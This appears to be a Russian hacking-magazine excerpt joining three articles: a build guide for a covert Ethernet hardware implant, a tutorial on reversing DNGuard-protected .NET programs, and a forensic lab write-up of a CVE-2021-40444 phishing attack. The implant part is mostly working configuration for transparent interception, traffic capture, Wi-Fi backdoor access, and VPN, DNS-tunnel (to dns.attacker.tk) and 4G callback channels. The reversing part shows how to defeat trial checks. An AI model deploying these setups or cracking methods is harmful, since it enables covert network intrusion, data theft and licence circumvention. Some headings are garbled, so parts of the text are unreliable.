sudo ebtables -t nat -A PREROUTING -i eth1 -d "$gw_mac" -j dnat
--to-dst $(getmac -i br0)

В такой конфигурации пакеты с одного сетевого порта уйдут с MAC-адресом


жертвы, а с другого — с MAC-адресом шлюза. Но пакеты от жертвы сквозь
устройство уже не пройдут, ведь MAC-адрес принудительно сменяется еще и
на входящих пакетах.
Зеркалирование пакетов с помощью bridge в данном случае неудобно,
поскольку образуется один логический сетевой интерфейс (br0) на оба
Ethernet-порта. Атакующему нужно иметь возможность отправлять пакеты
независимо в каждый из сетевых интерфейсов, но при этом не теряя воз-
можности прозрачного копирования пакетов между интерфейсами. Добиться
этого можно с помощью traffic control:

sudo ifconfig eth0 0 promisc up


sudo ifconfig eth1 0 promisc up
sudo ifconfig eth0 "$victim_ip/24" # Работа от имени victim в
сторону gw (LAN)
#sudo ifconfig eth1 "$gw_ip/24" # То же самое, но в сторону victim
route add -net default gw "$gw_ip"

sudo tc qdisc add dev eth0 ingress


sudo tc filter add dev eth0 parent ffff: protocol all prio 2 u32
match u32 0 0 flowid 1:1 action mirred egress mirror dev eth1
sudo tc qdisc add dev eth1 ingress
sudo tc filter add dev eth1 parent ffff: protocol all prio 2 u32
match u32 0 0 flowid 1:1 action mirred egress mirror dev eth0

sudo iptables -A INPUT -i eth0 -p icmp -j DROP # Не отзываться на


входящие ICMP gw->victim
sudo iptables -A OUTPUT -o eth0 -p tcp --tcp-flags SYN,ACK,RST,FIN
RST -j DROP # Игнорировать ACK-пакеты и не слать на них RST, чтобы
не рвать соединения victim

С такими настройками устройство может вклиниться в легитимное физичес-


кое подключение, прозрачно зеркалируя трафик в обе стороны и отправляя
в это же самое время пакеты от имени жертвы.

Невидимый режим закрепления через Ethernet

Это позволит злоумышленнику обойти защиту Port Security и вообще стать


полностью невидимым в сети.

Ïàññèâíûé ñíèôôèíã
Так как девайс может прозрачно пересылать через себя трафик, нетрудно
организовать его автоматическую запись:

/lib/systemd/system/tcpdump.service
[Unit]
Description=tcpdump

[Service]
ExecStart=/usr/sbin/tcpdump -i br0 -nn -w /media/sd/dump.pcap
Restart=always
RestartSec=60

[Install]
WantedBy=default.target

Автоматический запуск записи трафика при загрузке можно реализовать


через сервис:

systemctl enable tcpdump.service


systemctl start tcpdump.service

Поскольку записывается весь трафик, дамп может быть весьма внушитель-


ным. Поэтому сохранять его лучше в дополнительный раздел на SD-карте:

/etc/fstab
/dev/mmcblk0p3 /media/sd ext3 defaults 0 0

Äîñòóï ïî Wi-Fi
Так как рассматриваемое нами устройство имеет встроенный Wi-Fi, его мож-
но использовать для организации удаленного доступа. Для этого сетевые
настройки беспроводной сети указываются в следующем файле:

/etc/network/interfaces
auto wlan0
iface wlan0 inet static
address 11.0.0.1
netmask 255.255.255.0

Настройки беспроводной сети для клиентов — в файле

/etc/dnsmasq.conf
domain=packet_squirrel.local
interface=wlan0
dhcp-range=11.0.0.10,11.0.0.20,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1

И сама беспроводная сеть настраивается так:

/etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=packet squirrel
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

wpa=3
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP

wpa_passphrase=s3cr3tP@ssw0rd

Автозапуск всего необходимого для Wi-Fi:

systemctl unmask hostapd.service


systemctl enable hostapd.service
systemctl start hostapd.service

После включения аппаратной закладки атакующий может получить доступ


в сеть, просто подключившись к устройству по Wi-Fi.

VPN access
Атакующий может сделать так, чтобы созданная им аппаратная закладка
выходила на связь по VPN с некоторым опорным сервером:

cp vds_config.ovpn /etc/openvpn/client/vds.conf
systemctl enable openvpn-client@vds

Конфигурационный файл при этом может быть следующим:

client
proto tcp
dev tap

remote 1.2.3.4 1194

user nobody

<ca>
</ca>

<cert>
</cert>

<key>
</key>

route-noexec
cipher AES-128-CBC

keepalive 10 60
comp-lzo
persist-key
persist-tun

Устройство будет пытаться выйти на связь с опорным сервером через


текущую или внешнюю 4G-сеть (об этом расскажу чуть позже).

Äîñòóï ÷åðåç DNS-òóííåëü


В ряде случаев из локальной сети нет прямого доступа в интернет и способ,
описанный выше, может не сработать. Однако очень часто резолв про-
извольных внешних DNS-зон разрешен. Поэтому VPN-канал может быть
реализован с помощью обычных DNS-запросов:

/lib/systemd/system/iodine.service
[Unit]
Description=iodine

[Service]
ExecStart=/usr/sbin/iodine -f -r -m 500 -P s3cr3t dns.attacker.tk
Restart=always
RestartSec=60

[Install]
WantedBy=default.target

Автозапуск DNS-туннеля обеспечивают следующие команды:

systemctl enable iodine.service


systemctl start iodine.service

Даже если из внутренней сети нет прямого выхода в интернет, но есть раз-
решение произвольных DNS-имен, устройство построит VPN-туннель
до опорного сервера, через который потенциальный злоумышленник получит
обратный доступ в сеть.

Äîñòóï ïî 4G
Устройство сконфигурировано так, чтобы злоумышленник мог получить дос-
туп в интернет через точку закрепления, посредством обычного TCP
или DNS-туннелей. Но если же из локальной сети совсем нет никакого выхода
в интернет, то может быть организован канал передачи данных по незави-
симому 4G через подключаемый внешний USB-модем.

Внешний канал эксфильтрации аппаратной закладки

Реализовать это можно буквально в пару-тройку строк в конфиге. Нужно


добавить автозапуск DHCP для сетевого интерфейса 4G-модема. Современ-
ные HiLink-модемы определяются как простое Ethernet-устройство, что мак-
симально облегчает настройку:

/etc/network/interfaces
...
allow-hotplug eth2
auto eth2
iface eth2 inet dhcp
metric 1

Благодаря директиве metric 1 маршрут 4G-интерфейса будет приоритетнее


маршрута Ethernet-сети, и устройство не потеряет выход в интернет
при наличии двух дефолтных маршрутов.
Подытожим. В каждом случае Ethernet-backdoor пытается выйти на связь
через опорный выделенный сервер и предоставляет злоумышленнику уда-
ленный доступ во внутреннюю сеть:
• по VPN через текущую сеть;
• по VPN, используя DNS-эксфильтрацию через текущую сеть;
• по VPN через внешний канал 4G;
• через Wi-Fi.

Теперь устройство полностью настроено и готово к работе в самых разных


ситуациях.

ÇÀÊÐÅÏËÅÍÈÅ

Итак, злоумышленник находит оставленный без присмотра компьютер


и незаметно подключает к нему свое устройство.

Подключение «посередине» аппаратной закладки между ПК и ком-


мутатором

Да, компьютер на картинке выше реально не потеряет доступа в сеть и даже


не увидит промежуточного узла. Rock Pi станет прозрачно пересылать трафик
жертвы и параллельно откроет атакующему сетевой доступ в как в сторону
компьютера жертвы, так и в сторону локальной сети.
Аппаратную закладку можно подключить где угодно — от обычного компь-
ютера или принтера до серверной. Все зависит от того, куда успел получить
доступ потенциальный злоумышленник. Небольшие размеры позволяют
спрятать аппаратный бэкдор даже внутри другого устройства.

Подключение «посередине» аппаратной закладки между IP-телефоном


и коммутатором

Аппаратную закладку можно поместить даже внутри IP-телефона, рас-


положенного в переговорке. Такие помещения часто бывают свободными
на короткое время, чем может воспользоваться потенциальный нарушитель.
Конфигурация устройства позволяет использовать девайс не только
в модели «посередине». Его можно просто включить одним любым портом
в свободный Ethernet-порт для поддержания удаленного доступа.

Подключение аппаратной закладки в сетевую розетку

Далее, используя все возможные каналы доступа (VPN, DNS, Wi-Fi, 4G), ата-
кующий может удаленно зайти на устройство и уже с него получить доступ
в сеть.
Для развития дальнейших атак злоумышленнику не нужно каждый раз раз-
ворачивать на устройстве весь хакерский софт. Закладка может быть лишь
шлюзом и просто пересылать пакеты от атакующего в сеть.

L3-äîñòóï
Теперь настала пора рассмотреть, как подобное устройство может быть нас-
троено в режиме шлюза, на котором организован простой L3-доступ
в целевую сеть. Для этого потребуются только два компонента.
Первый — это транзит пакетов. При включении этой опции ядра сетевые
пакеты в соответствии с маршрутизацией смогут проходить с одного
интерфейса (VPN) на другой (Ethernet):

/etc/sysctl.conf
net.ipv4.ip_forward=1

Второе — это SNAT, выполняющий корректировку IP-адреса отправителя


для пакетов, меняющих сетевой интерфейс. В данном случае идущих с VPN
на Ethernet-порты:

iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE


iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables
#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules

Это дает атакующему чрезвычайно простой и удобный доступ к сети,


в которой помещена закладка. Все, что требуется на стороне атакующего, —
просто добавить маршрут через Packet Squirrel.

route add -net 10.0.0.0/8 gw packet_squirrel


ping 10.10.10.10

Получение сетевого доступа в локальную сеть, где помещена аппарат-


ная закладка

Телефон атакующего, никак не связанный напрямую с ноутбуком жертвы,


подключен к единой VPN-сети с Packet Squirrel. На телефоне задается мар-
шрут с Packet Squirrel в качестве шлюза, после чего атакующий получает пря-
мой сетевой доступ во внутреннюю сеть.
Несомненно, для атакующего это чрезвычайно удобно, и этот метод может
применяться как для скрытого получения доступа, так и для развития даль-
нейших атак. Но если говорить об атаках, то это лишь L3-доступ (сетевой уро-
вень OSI), не дающий всех возможностей в плане атак, поскольку злоумыш-
ленник не находится во внутренней сети, а использует Packet Squirrel в качес-
тве шлюза. Чтобы оказаться непосредственно в сетевом сегменте и иметь
возможность реализовать полный арсенал атак, присущих Ethernet-сетям,
от ARP до NetBIOS spoong, атакующему потребуется получить L2-доступ
(канальный уровень OSI).

L2-äîñòóï
Чтобы получить полноценный L2-доступ в сетевой сегмент, в который
помещена закладка, атакующему нужно создать еще один дополнительный
туннель. Самый простой способ это сделать — воспользоваться SSH:

/etc/ssh/sshd_config
PermitRootLogin yes
PermitTunnel ethernet

Так как на устройстве Ethernet-интерфейсы уже подключены в сетевом мосте


(br0), то атакующему остается лишь добавить новый L2-интерфейс от SSH
в этот мост:

sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any


packet_squirrel> brctl addif br0 tap1
packet_squirrel> ifconfig tap1 up

Сетевой мост будет копировать каждый сетевой пакет с Ethernet-интерфей-


сов в этот виртуальный интерфейс. На удаленной стороне атакующего тоже
появится новый L2-интерфейс, на который будут приходить все доступные
Packet Squirrel пакеты и который будет для атакующего L2-порталом во внут-
ренний сетевой сегмент:

attacker> sudo ifconfig tap1 up


attacker> sudo dhclient tap1

Теперь, оказавшись непосредственно в сетевом сегменте с Packet Squirrel,


злоумышленник может получить внутренний IP-адрес по DHCP. А может
для большей незаметности использовать IP-адрес жертвы:

packet_squirrel> sudo ifconfig br0 0


attacker> sudo ifconfig tap1 $victim_ip/24

Миниатюрное устройство, спрятанное где-то в недрах корпоративной сети,


за одним из системников, принтеров в коридоре, IP-телефонов в переговор-
ке или даже под толщей проводов серверной, способно скрытно от имени
жертвы (с ее MAC- и IP-адреса) взаимодействовать с узлами внутренней
сети. Злоумышленник при этом может использовать внутренний IP-адрес
сетевого сегмента локальной сети, в то время как сам будет находиться
где-то очень далеко.
Вообще, подобное устройство можно использовать и для удаленных внут-
ренних пентестов, когда заказчик просто подключает подобную коробочку
в нужный сетевой сегмент. И больше никаких действий не требуется —
не придется просить заказчика согласовывать допуски, исполнителям
не понадобится долго добираться до места или подключаться через неудоб-
ные VPN.

ÊÀÊ ÇÀÙÈÒÈÒÜÑß

Использование Port Security в чистом виде не позволит злоумышленнику


получить доступ к свободной сетевой розетке, ведь он не будет знать нужный
MAC-адрес. Если задействовать еще и 802.1X, то у злоумышленника не будет
возможности и вклиниться посередине. Ведь в момент подключения Packet
Squirrel потребуется хоть и на короткое время, но разъединить сеть, а тогда
потребуется повторно аутентифицироваться.
Также мерой защиты может быть физический контроль над Ethernet-пор-
тами и устройствами в локальной сети предприятия.
ВЗЛОМ

РЕВЕРСИМ ПРИЛОЖЕНИЕ,
ЗАЩИЩЕННОЕ DNGUARD

Фантазия разработчиков, желающих


защитить свою программу, порой не знает
границ. Частенько им мало одного
навешенного на софтину протектора, и они,
как монашка из известного анекдота, МВК

натягивают их несколько штук последова-


тельно. Порой тем же самым грешат и сами
разработчики средств защиты. Случай
подобного симбиоза IL-обфускатора
с VMProtect мы и рассмотрим в сегод-
няшней статье.

.NET-обфускатор DNGuard HVM существует довольно долгое время,


за которое он успел обзавестись изрядным количеством фич (антиотладка
и антидамп, тотальное шифрование всей информации в модуле и весьма
успешное противодействие статическому и динамическому анализу). Нес-
мотря на широкую известность и неплохую изученность (в свое время
CodeCracker запилил множество распаковщиков под разные версии DNGuard
и сопутствующих фреймворков), последние несколько лет средства анализа
и распаковки для актуальных версий этого обфускатора напрочь отсутствуют.
Вплоть до того, что популярные инструменты (и даже Detect It Easy) до сих пор
не научились их даже детектировать. Поэтому, надеюсь, сегодняшняя статья
поможет читателю разобраться, как распознать эту заразу и бороться с ней
подручными средствами.

WARNING
Статья имеет ознакомительный характер и пред-
назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

Итак, предположим, что в твои загребущие руки попала сборка, защищенная


DNGuard. Есть два варианта. Первый: нам повезло, и это одна из старых изу-
ченных версий, тогда все ясно и можно смело пользоваться одним из дам-
перов DNGuard_HVM_Unpacker от CodeCracker. Возможно, я когда-нибудь
и расскажу об особенностях и даже принципах работы этих утилит. Однако
DNGuard совершенствуется стремительно, а проект, судя по всему, давно
заброшен: последняя версия поддерживаемого фреймворка была 4.2,
а физическая привязка к конкретным файлам библиотек настолько сильна,
что делает использование данных наработок малополезным в деобфускации
новых версий.
Поэтому сразу переходим к более грустному варианту. Как я уже писал
выше, хоть актуальные версии и не детектятся, однако сильно и не скрывают-
ся. В рабочем каталоге программы сразу бросается в глаза библиотека
runtime.dll (или со схожим названием), с навешенным на ней VMProtect
на минималках.

Внутри библиотеки обнаруживаются две экспортируемые функции:


VMRuntime и GetUserString (или ResolveString).

Еще одна характерная черта — VMProtect’овская секция hvm0, из-за которой


этот обфускатор, насколько я понимаю, и получил такое название.

Впрочем, наличие этой библиотеки в каталоге в явном виде вовсе необя-


зательно, самые последние версии научились держать ее в зашифрованном
виде в теле основной программы, рожая ее при загрузке в системные вре-
менные каталоги типа Temp или ProgramData. Cама программа, защищенная
этим обфускатором, тоже выглядит достаточно характерным образом
при загрузке в отладчик вроде dnSpy.

Как видно, для стартап-кода программы характерно наличие класса


с методами CheckRuntime, CheckString, GetUserString и так далее
и импортом упомянутых выше функций из библиотеки Runtime.dll. Так же
как и во всех серьезных обфускаторах, о которых я писал в предыдущих стать-
ях, названия остальных классов, методов, строк и ресурсов жестко пошиф-
рованы, а тела методов пусты или содержат вызов исключения «Error,
DNGuard Runtime library not loaded!» (причем даже эта строка может быть
зашифрована).
Собственно, если попробовать запустить такое приложение из отладчика,
максимум, что мы сможем увидеть, — это инициализация стартап-кода
DNGuard до нативного вызова VMRuntime, после чего тот перехватывает
на себя JIT-компилятор и мы прощаемся с отладчиком, словив подобное
исключение.
Попытка приаттачиться к запущенному процессу тоже не дает полезного
результата, так же как и дамп его всеми известными дамперами. Поэтому
закрываем dnSpy и начинаем вспоминать матчасть, в том числе информацию,
изложенную в моей статье «Реверсинг .NET. Как искать JIT-компилятор в при-
ложениях».
Для тех, кто не читал статью, напомню ее суть в двух словах. Как известно,
любая .NET-сборка устроена следующим образом: кросс-платформенный IL-
код хранится в специальных метаданных, из которых подгружается по мере
исполнения каждого метода и компилируется в нативный код специальной
функцией. Указатель на нее возвращает функция GetGit библиотеки clrjit.
dll, однако фреймворк любезно предоставляет пользователю самому уста-
навливать адрес на компилятор, чем беззастенчиво пользуются создатели
всевозможных обфускаторов, подменяя ее своими процедурами рас-
шифровки IL-кода.
Таким же образом можно менять на свои функции загрузки строк, ресур-
сов и так далее. В частности, функцию Module::ResolveStringRef(
unsigned long,class BaseDomain *,bool), которая возвращает указатель
на запрашиваемый строковый литерал. По счастью, ни один даже самый
продвинутый обфускатор не может полностью подменить собой .NET-фрей-
мворк с JIT-компиляцией, хотя бы из соображений системной совместимос-
ти. Поэтому, несмотря на все подмены, управление все равно в итоге
передается на оригинальные обработчики. Более того, библиотека
mscorlib.ni.dll предоставляет массу возможностей для работы с низ-
коуровневыми объектами (файлы, даты, строки, словари и прочее), через
которые можно отслеживать логику работы программы уже из откомпилиро-
ванного исполняемого нативного кода.
Все это избавляет нас от необходимости прошибать головой железо-
бетонную стену девиртуализации VMProtect, анализируя «изнутри» в нашем
любимом x64dbg уже расшифрованные библиотекой runtime.dll код
и строки. Попробуем рассмотреть использование описанного метода на при-
мерах.
Допустим, нам для начала интересно определить, какие строковые кон-
станты были загружены и использованы на определенном участке работы
программы. Загружаем программу в отладчик x32dbg и идем на вкладку
«Отладочные символы». В списке загруженных библиотек справа находим
clr.dll, жмем на правую кнопку мыши и загружаем отладочные символы
для этого модуля.
В списке отладочных символов находим символ public: struct
OBJECTHANDLE__ * __thiscall Module::ResolveStringRef(unsigned
long,class BaseDomain *,bool) и ставим на него точку останова. Запус-
каем программу и тормозимся на этой точке. Пока ничего интересного, она
вызвана из изгаженного VMProtect’oвской виртуализацией кода runtime.
dll. Запускаем выполнение до возврата из библиотеки. На выходе уже инте-
реснее — в EAX появилась ссылка на указатель на расшифрованную строку.

Убираем точку останова на входе ResolveStringRef и переносим ее


на выход, добавив печать возвращаемой строки.

Запускаем программу и — бинго! — имеем в журнале отладчика полный спи-


сок загруженных и расшифрованных в процессе работы приложения стро-
ковых констант. Теперь нам надо найти сравнение, после которого выпол-
нение программы идет по нужной нам ветке. Для этого точно так же загружа-
ем отладочные символы уже для библиотеки mscorlib.ni.dll. Мы обна-
руживаем удивительное множество нативных методов для низкоуровневой
работы со строками. Например, самые полезные из них.
Сравнить две строки:

mscorlib.ni.dll.System.String.Compare(System.String, System.String,
Boolean)

Cклеить две строки:

mscorlib.ni.dll.System.String.Concat(System.String, System.String)

Загрузить строку из символьного массива:

mscorlib.ni.dll.System.String.CtorCharArray(Char[])

Загрузить строку по указателю на символьный массив:

mscorlib.ni.dll.System.String.CtorCharPtr(Char*)

Сравнить две строки:

mscorlib.ni.dll.System.String.Equals(System.String, System.String)

Присвоить строку:

mscorlib.ni.dll.System.String.Intern(System.String)

Вернуть подстроку:

mscorlib.ni.dll.System.String.Substring(Int32, Int32)

Загрузить символьный массив из строки:

mscorlib.ni.dll.System.String.ToCharArray()

Преобразовать строку в нижний регистр:

mscorlib.ni.dll.System.String.ToLower()

Ставя условные точки останова на эти функции с промежуточными печатями


параметров, мы получаем в журнале совершенно прозрачный лог работы
программы со строками, в котором без труда находим искомые проверки.
Таким же методом можно воспользоваться, например, чтобы отучить прог-
рамму от триала, ведь низкоуровневые операции с классом DateTime сидят
в этом же модуле.
Сравнить временные промежутки:

mscorlib.ni.dll.System.DateTimeOffset.CompareTo(System.
DateTimeOffset)

Сложить временные промежутки:

mscorlib.ni.dll.System.DateTimeOffset.op_Addition(System.
DateTimeOffset, System.TimeSpan)

Вычесть из времени:

mscorlib.ni.dll.System.DateTime.Subtract(System.TimeSpan)

Добавить ко времени:

mscorlib.ni.dll.System.DateTime.op_Addition(System.DateTime, System.
TimeSpan)

Позже?

mscorlib.ni.dll.System.DateTime.op_GreaterThan(System.DateTime,
System.DateTime)

Раньше?

mscorlib.ni.dll.System.DateTime.op_LessThan(System.DateTime, System.
DateTime)

Одновременно?

mscorlib.ni.dll.System.DateTime.op_Equality(System.DateTime, System.
DateTime)

Отследив нужное сравнение и подобрав для него подходящее условие, мож-


но даже не заботиться о том, как именно и куда скомпилировался IL код, —
при работе в отладчике управление все равно придет в это место и оста-
новится в нужный момент.
Итак, мы разобрались, какую проверку и на что нужно менять, но что
делать дальше? Мы же не можем каждый раз запускать программу в отладчи-
ке, чтобы руками подсказывать ей, как дальше работать. По сути, мы не знаем
даже названия класса и метода, в котором происходит проверка. Да даже
если бы и знали, толку все равно мало — код по-взрослому зашифрован,
а декриптор виртуализирован самим VMProtect’ом, пускай на минималках.
В подобных случаях, как я уже писал, можно сурово идти до конца,
как делал в свое время CodeCracer, и, полностью или частично пробившись
сквозь виртуализированный код, написать свой деобфускатор. Или же пойти
по более легкому пути, создав лоадер, патчащий IL-код в момент, когда он
уже расшифрован и подается на вход JIT-компилятора. Суть этих двух спо-
собов я объяснял в статье, поэтому не буду повторяться, а в заключение
просто приведу несколько советов и предложений, как реализовать эти идеи.
В принципе, можно взять за основу восстановленный код дампера
от DNGuard_HVM_Unpacker, но мы не будем этого делать, потому что этот
дампер сильно привязан к изрядно устаревшим версиям фреймворка, о чем
я уже говорил. Поэтому читаем статью Даниеля Пистелли, в которой матчасть
описана гораздо толковее, чем у меня. И берем за основу используемые
в ней примеры готового кода.
Не буду их дублировать, чтобы не перегружать собственный текст, просто
обрисую принцип в двух словах. Есть загрузчик обфусцированной программы
на C# (rbloader), который делает инъекцию кода, содержащегося в нативной
библиотеке. К статье прилагаются примеры проектов инъекторов, которые
демонстрируют реальные имена компилируемых классов и методов исполня-
емой программы, и даже выполняется дизассемблирование их расшифро-
ванного IL-кода.
Конечно, эта статья тоже устарела, и приведенный там код требует
допиливания под современные фреймворки. К примеру, используемая
для получения реального адреса JIT-компилятора функция getJit сейчас
содержится не в упоминаемой там библиотеке mscorjit.dll, а в библиотеке
clrjit.dll. Но это мелочи, вполне преодолимые, если не замахиваться сра-
зу на создание полного декомпилятора или дампера, а начать с простых,
но полезных вещей.
Например, можно решить проблему привязки исполняемого в данный
момент откомпилированного нативного кода к конкретному классу и методу.
Скажем, в качестве идентификации метода можно использовать токен ftn
(первое слово структуры CORINFO_METHOD_INFO, подаваемой на вход JIT-
компилятору, — это указатель на него CORINFO_METHOD_HANDLE). Не знаю,
задокументировано это или нет, но CORINFO_METHOD_HANDLE находится
непосредственно перед скомпилированным в натив методом.

Поставив условную точку останова на JIT-компилятор c логированием, можно


через ftn привязать расшифрованный IL-код к откомпилированному натив-
ному коду метода, однако его имя и имя его класса на момент компиляции
из отладчика получить затруднительно. Халтурный способ, предложенный
мной в предыдущей статье, здесь не работает.
Вот тут нам и пригодится загрузчик с инъектором Даниеля Пистелли.
Из кода, инъектируемого в CompileMethod, получить имя компилируемого
метода и его класса не просто, а очень просто. Более того, прямо в тело
обработчика можно встроить автопатч свежерасшифрованного IL-кода
метода.
Хочу добавить напоследок, что все описанное выше работает не только
для DNGuard, но и для любого другого зловредного инструмента, исполь-
зующего подобные принципы обфускации. Надеюсь, мне представится воз-
можность продемонстрировать это в одной из следующих статей.
ВЗЛОМ

Иногда после хакерской атаки исследова-


телям остается несколько скомпромети-
рованных компьютеров и дамп сетевого
трафика, исследуя который можно
попытаться восстановить хронологию rayhunt454
grigadan454@gmail.com
событий. Именно эту ситуацию эмулирует
лабораторная работа BSidesJeddah-Part1
с ресурса CyberDefenders, решение
которой мы сегодня подробно разберем.
Мы научимся анализировать сетевой тра-
фик, извлекать артефакты и восстановим
картину взлома.

По сценарию хакерская группировка использовала целевой фишинг


и получила доступ к информационному ресурсу организации. Наша задача —
расследовать инцидент и восстановить его сценарий.
По результатам необходимо ответить на вопросы, но я покажу лишь сам
процесс решения. Ты сможешь повторить его самостоятельно, чтобы лучше
разобраться и закрепить материал.
Для начала загрузим файл архива с артефактами и приступим к их иссле-
дованию. В архиве сохранен сетевой трафик скомпрометированного хоста
и правила Suricata.

ÈÑÏÎËÜÇÓÅÌÛÅ ÓÒÈËÈÒÛ
1. Wireshark — анализатор сетевых протоколов.
2. Brim — анализатор сетевого трафика.
3. Oleid — утилита для анализа OLE-файлов.
4. Scdbg — утилита для анализа шелл-кода, построенная на основе биб-
лиотеки для эмуляции libemu.
5. IDA Pro — интерактивный дизассемблер, используемый для реверс-инжи-
ниринга.

ÀÍÀËÈÇ ÑÅÒÅÂÎÃÎ ÒÐÀÔÈÊÀ


Приступим к анализу сетевого трафика. Исследовать дамп мы будем в прог-
рамме Wireshark. Загрузим файл из архива, для этого перейдем на вкладку
«Файл → Открыть».
Анализируя пакеты сетевого дампа, можно заметить, что, начиная
с пакета 56, идут множественные TCP-обращения к различным портам с IP-
адреса 192.168.112.128.

Множественные сетевые соединения

Злоумышленник с IP-адреса 192.168.112.128 сканирует порты сетевого


ресурса 192.168.112.139, чтобы найти открытые. Рассмотрим этот процесс
более детально.

Процесс TCP-сканирования

На рисунке выше представлено трехстороннее TCP-соединение между


сетевыми адресами 192.168.112.128 и 192.168.112.139 по порту 25.
Как работает TCP-рукопожатие, описано в базе знаний Storm Wall, описание
флагов TCP-пакетов можно найти на сайте Geeksforgeeks.
Поиск открытого порта при TCP-сканировании происходит следующим
образом. Источник 192.168.112.128 отправил SYN-пакет получа-
телю 192.168.112.139. Получатель ответил TCP-флагами SYN и ACK (соеди-
нение установлено). Далее источник отправляет ACK-пакет и следом завер-
шает соединение флагом RST. Это свидетельствует о том, что порт 25 ресур-
са 192.168.112.139 открыт. В случае закрытого порта после SYN-пакета
получатель отправляет RST-, ACK-флаги пакета TCP.
Рассмотрим TCP-пакет с флагами SYN и ACK. Для этого откроем его, наж-
мем на него дважды, а затем раскроем вкладку Transmision Control Protocol
и вкладку Flags.

Флаги SYN и ACK пакета TCP

Мы выяснили, что при открытом порте источник сканирования отправляет


пакет с флагами SYN и ACK. Найдем эти пакеты и выясним количество откры-
тых портов на атакуемой машине, для этого отфильтруем сетевой трафик.
В поле «Дисплейный фильтр» утилиты Wireshark вводим следующие дан-
ные:

tcp.flags == 0x12

Отфильтрованные пакеты сетевого дампа

Проанализировав дамп сетевого трафика, мы выяснили следующее.


1 октября 2021 года в 12:31 злоумышленник с IP-адре-
сом 192.168.112.128 начал сканировать сетевой ресурс 192.168.112.139.
MAC-адрес атакуемой машины — 00:0C:29:B7:CA:91. В результате ска-
нирования выяснилось, что на атакуемой машине открыты семь портов: 25,
110, 135, 139, 143, 445, 587.
Рассмотрим дальнейшие действия злоумышленника, продолжив анализи-
ровать дамп сетевого трафика.
В 12:31:54 злоумышленник отправляет электронное сообщение на сервер
SMTP (25-й порт сетевого ресурса 192.168.112.139). Начиная с пакета 2645,
можно увидеть взаимодействие по протоколу SMTP (порт 25), полный список
команд протокола приведен в блоге.
Построим TCP-поток и разберем команды протокола SMTP и заголовок
сообщения, для этого нажмем правой кнопкой мыши надпись «Следовать»
и выберем в контекстном меню пункт «Поток TCP». Номер TCP-потока
с SMTP-взаимодействием — 1183.

SMTP-взаимодействие

Команда EHLO используется для представления клиента серверу SMTP. Имя


клиента — kali, сервер возвращает статус 250, соединение установлено
успешно.
Поле MAIL FROM указывает отправителя сообщения:
support@cyberdefenders.org, значение RPCT TO определяет получателя
сообщения: joshua@cyberdefenders.org. Далее идет команда DATA,
которая используется для передачи информационной части сообщения. Рас-
смотрим заголовок сообщения. В заголовке Date указаны дата и время
отправки письма: 12:31:54 1 октября 2021 года. В заголовке X-Mailer —
программное обеспечение, с помощью которого злоумышленник отправил
сообщение: sendMail версии 1.56.

Содержимое письма

После заголовка письма идет его содержимое. Злоумышленник отправил


файл с названием web server.docx. Пользователь
joshua@cyberdefenders.org получил это сообщение, загрузил вложение
и открыл его.
Выгрузим почтовое вложение, для этого скопируем закодированные дан-
ные, декодируем их из Base64 и сохраним в файл web server.docx.
Получим MD5-хеш исследуемого файла:
55e7660d9b21ba07fc34630d49445030 — и проверим его на VirusTotal. Сог-
ласно отчету сервиса, документ содержит эксплоит CVE-2021-40444. Эта уяз-
вимость позволяет выполнять вредоносный код, используя MSHTML (бра-
узерный движок Internet Explorer). Суть эксплуатации заключается в том, что
в документ MS Office встраивается ссылка на вредоносный скрипт, который
запускается с использованием MSHTML. Это, в свою очередь, приводит
к загрузке CAB-файла, в котором содержится DLL-файл с расширением .inf.
Цепочка выполнения эксплоита выглядит следующим образом:
1. Пользователь открывает вредоносный документ .docx.
2. Объект external relationship, хранящийся в document.xml.rels,
указывает на удаленный вредоносный HTML-файл.
3. Предварительный просмотр Internet Explorer открывает HTML-ссылку.
4. JScript в HTML содержит объект, указывающий на CAB-файл, и iframe, ука-
зывающий на INF-файл с префиксом директивы .cpl:.
5. После открытия CAB-файла INF-файл перемещается в каталог, указанный
злоумышленником.
6. Из-за уязвимости обхода пути (Zip Slip) в CAB можно сохранить INF по пути
%TEMP%.
7. Затем INF-файл открывается с помощью директивы .cpl:, что вызывает
боковую загрузку INF-файла через rundll32 (если это DLL).

Исследуем вредоносный документ, найдем вредоносную ссылку на HTML-


файл.
С помощью утилиты oleid получим информацию о документе MS Office.

oleid webserver.docx

Вывод утилиты oleid

Определим External Relationships в документе, добавим к имени файла рас-


ширение .zip и найдем файл word → _rels → document.xml.rels.

Содержимое файла document.xml.rels

Идентификатор внешнего объекта — rId6, ссылка на HTML-файл выглядит


следующим образом:

http://192.168.112.128/word.html

Теперь найдем подробную информацию о внешнем отношении с иден-


тификатором rId6, для этого перейдем к файлу word → document.xml.

Информация о внешнем отношении с идентификатором rId6

LinkType OLE-объекта — EnhancedMetaFile, это расширенный формат


метафайла.
Продолжим анализировать сетевой трафик. Теперь найдем в дампе учас-
ток, в котором загружается файл word.html.
Начиная с пакета 2946 (TCP-поток 1211), устанавливается соединение
с внешней ссылкой http://192.168.112.128/word.html, в поле User-
Agent HTTP-заголовка указана программа, с помощью которой осуществлен
доступ по ссылке. На атакуемом компьютере установлен Microsoft Office Word
2013 версии 15.0.4517.

Метод OPTIONS от приложения MS Office Word

Двигаемся дальше по TCP-потокам. В потоке 1213 обнаружен GET-запрос


к вредоносному серверу, в ответе которого возвращается HTML-документ
с кодом JavaScript.

Загружаемый JavaScript-код

Сервер вернул HTML-документ, который содержит вредоносный обфусци-


рованный JavaScript.

Содержимое word.html

Код сильно обфусцирован, но в нем все же можно найти ссылку для загрузки
файла .cab. В переменной a0_0x12f содержится ссылка http://192.168.
112.128/word.cab. Далее вредоносный код загружает CAB-архив, извлекает
из него файл msword.infl, используя уязвимость Zip Slip (атаку обхода пути),
и сохраняет файл в такой каталог:

